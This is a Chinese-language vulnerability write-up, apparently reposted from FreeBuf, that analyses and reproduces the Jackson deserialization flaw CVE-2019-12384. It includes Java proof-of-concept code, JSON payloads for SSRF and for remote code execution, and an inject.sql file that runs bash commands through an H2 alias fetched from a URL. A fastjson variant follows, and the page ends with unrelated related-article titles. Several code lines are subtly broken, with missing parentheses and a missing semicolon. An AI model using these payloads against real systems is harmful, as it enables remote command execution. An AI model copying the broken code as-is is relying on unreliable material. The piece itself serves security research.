原标题:CVE-2019-12384漏洞分析及复现

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

引言

近期关于Jackson的RCE漏洞CVE-2019-12384爆出,关于漏洞的复现以及依赖,这里已经给出,笔者这边使用java的环境重新复现了一下,权当给各位看官当个翻译,也让在java上进行漏洞复现的兄弟们少走点弯路。

环境准备

本次漏洞有比较鸡肋的地方,就是依赖的第三方jar包有点多,除去jackson自身的jar包以外还需要logback-core和h2,具体的pom配置如下:

com.fasterxml.jackson.core

jackson-databind

2.9.8

ch.qos.logback

logback-core

1.3.0-alpha4

com.h2database

h2

1.4.199

test

com.h2database

h2

1.4.199

compile

漏洞复现

国外的大佬们用的是ruby实现的漏洞利用环境,我这边为了方便idea的debug,索性使用java来做复现,具体的注意细节我也在代码里面注释了,大家看注释就好,

JackonSerial.java

import com.fasterxml.jackson.databind.ObjectMapper;

import com.fasterxml.jackson.databind.SerializationFeature;

import org.h2.Driver;

public class JackonSerial {

public static void main(String[] args) throws Exception {

//一定要实例化Driver否则会报错

Class.forName("org.h2.Driver").newInstance;

System.out.println("Mapping");

//该条payload用于SSRF的复现

String jsonStr1 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:8005/~/test\"}]";

//该条payload用于RCE的复现

String jsonStr2 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUN FROM 'http://localhost/inject.sql'\"}]";

ObjectMapper mapper = new ObjectMapper;

mapper.enableDefaultTyping;

mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

System.out.println("Serializing");

Object obj = mapper.readValue(jsonStr1, java.lang.Object.class)

System.out.println("objectified");

System.out.println("stringified: " + mapper.writeValueAsString(obj));

}

}

inject.sql

CREATE ALIASSHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException{

String[] command = {"bash", "-c", cmd};

java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime.exec(command).getInputStream).useDelimiter("\\A");

return s.hasNext ? s.next : ""; }

$$;

CALL SHELLEXEC('open/Applications/Calculator.app/')

使用第一个payload实现SSRF的效果图。

使用第二个payload实现RCE的效果图。

漏洞分析

先看一下SSRF漏洞调用栈。

Jackson在进行序列化的时候会循环调用序列化对象所属类的每一个get方法,当调用getConnection方法的时候,就去再去调DriverManager从而去链接远程的数据库,这也就是造成SSRF的原因

publicConnection getConnectionthrowsSQLException {

return this.getUser ==null? DriverManager.getConnection(this.url) : DriverManager.getConnection(this.url,this.getUser,this.getPassword);

}

下面说一下RCE。

先介绍一下jdbc:h2:mem: 这种写法用于h2操作内存表,并且能在内存中执行sql语句,然后再通过RUN FROM ‘http://localhost/inject.sql‘来执行从远程获取的sql文件,当然此处改成直接执行本地语句造成命令执行也是可以的。

因为这些执行都是在本地应该内存中的,而本地代码就是java,就是只需要在sql里面写一个java代码的函数,通过CALL来调用,变回造成java代码在本地应用执行从而造成RCE,RCE的关键调用栈如下:

总结

1、这个漏洞的利用有两个特别鸡肋的点:

第一点, 它需要依赖两个jar才能造成rce漏洞;

第二点, 注意这个漏洞的触发,是在序列化恶意的对象的时候触发的,而jackjson大部分情况在web中都是用于处理去反序列化前端传入的json数据的。

2、相同的套路在fastjson也是可以造成RCE的,但是利用同样鸡肋。Demo

importcom.alibaba.fastjson.JSON;

importcom.alibaba.fastjson.JSONObject;

importcom.alibaba.fastjson.parser.ParserConfig;

public classFastJsonTest {

public static voidmain(String[] args){

ParserConfig. getGlobalInstance.setAutoTypeSupport( true);

String payload = "{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\",\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUN FROM 'http://localhost/inject.sql'\"}";

JSONObject json = JSON. parseObject(payload);

json.toJSONString;

}

}

*本文作者:平安银行应用安全团队-Glassy,转载请注明来自FreeBuf.COM返回搜狐,查看更多

责任编辑:

java 漏洞复现_CVE-2019-12384漏洞分析及复现相关推荐

  1. Apache Commons Collections反序列化漏洞分析与复现

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 漏洞分析 存在安全缺陷的版本:Apache Commons Collections3.2.1以下,[JD ...

  2. Apache Shiro权限绕过漏洞 (CVE-2020-11989) 挖掘分析和复现

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 Apache Shiro作为Java框架,可被用于身份认证.授权等任务. 整合Apache Shi ...

  3. CVE-2019-0708(BlueKeep)漏洞分析与复现

    文章目录 一. 漏洞简介 1.漏洞介绍: 2.漏洞原理: 3.影响版本: 二. 漏洞复现 复现环境: 复现过程: 1.主机发现: 2.使用MSF的漏洞模块: 3.对靶机进行漏洞扫描: 4.使用攻击模块 ...

  4. FireEye 红队失窃工具大揭秘之:分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  5. CVE-2020-1472 Netlogon特权提升漏洞分析及复现

    0x01漏洞背景 NetLogon远程协议是一种在Windows 域控上使用的RPC 接口,被用于各种与用户和机器认证相关的任务.最常用于让用户使用NTLM协议登录服务器,也用于NTP响应认证以及更新 ...

  6. java栈溢出漏洞cve,TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析

    简介 前段时间 TP-LINK TL-WR841N 设备爆出了一个认证后的栈溢出漏洞,借机复现了一下这个栈溢出漏洞,其中有一些在漏洞利用上的小技巧在此和大家分享一下. 漏洞信息如下: 漏洞编号:CVE ...

  7. MS08-067漏洞分析与复现

    一名网络空间安全专业学生所做的漏洞复现实验,如有错误或有待改进的地方,还请大家多多指教. MS08-067漏洞分析与复现 目录 MS08-067漏洞分析与复现 1 前置知识 2 漏洞简介 3 漏洞代码 ...

  8. CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞

    CVE-2022-30190 https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-supp ...

  9. CVE-2017-8464(震网三代)漏洞分析与复现

    目录 一.CVE-2017-8464漏洞简介 1.简介 2.CVE-2017-8464漏洞原理 3.漏洞影响范围 二.复现环境 三.漏洞复现 1.kali下生成一个反弹的ps1的shell,文件名为s ...

最新文章

  1. 聚集索引和非聚集索引- -
  2. STM32移植RT-Thread的串口只能接收一个字节数据的问题
  3. bzoj4196:[Noi2015]软件包管理器
  4. 使用LayoutAnimationController为RecyclerView添加动画
  5. Openwrt之移动硬盘ext3/ext4格式化工具
  6. js宝典学习笔记【转载】
  7. 安全教育平台账号后四位_2020中小学国家安全教育专题活动入口官网:学校安全教育平台...
  8. 易用宝项目记录day5-shiro
  9. 抖音:时间熔炉的诞生
  10. 智慧路灯杆系统车流量监测解决方案
  11. 【PTA-python】第5章-1 输出星期名缩写 (70 分)
  12. 亲测10月最新影视流量主小程序源码+卡密系统
  13. Xubuntu 16.04下安装gtx 960m的NVidia显卡驱动----2017.03.19
  14. 四足机器人—matlab机器人工具箱DH建模
  15. 利用FME自动生成CAD图框
  16. 怎样写一篇文章 施工中~
  17. 如何搭建一个拥有个人域名又带点Geek味的独立博客
  18. 使用正则表达式验证手机号格式
  19. ImportError: cannot import name ‘_C’ from ‘maskrcnn_benchmark’
  20. JAVA实木商城开发,单品模式

热门文章

  1. Java用构造方法写默认值,Java 构造方法
  2. 我爱你中国,我爱你中华民族
  3. E. Gardener and Tree
  4. 我犯了职场大忌——和同事讨论薪资
  5. 错误描述:Non-terminating decimal expansion; no exact representable decimal result.
  6. Java Swing版单机版三国杀
  7. OpenC——高斯噪声
  8. 神策军丨我家的产品研发团队都在干啥?
  9. 关于HTML对锚的YY名词解释
  10. 腾讯云域名价格表包括注册/续费/转入费用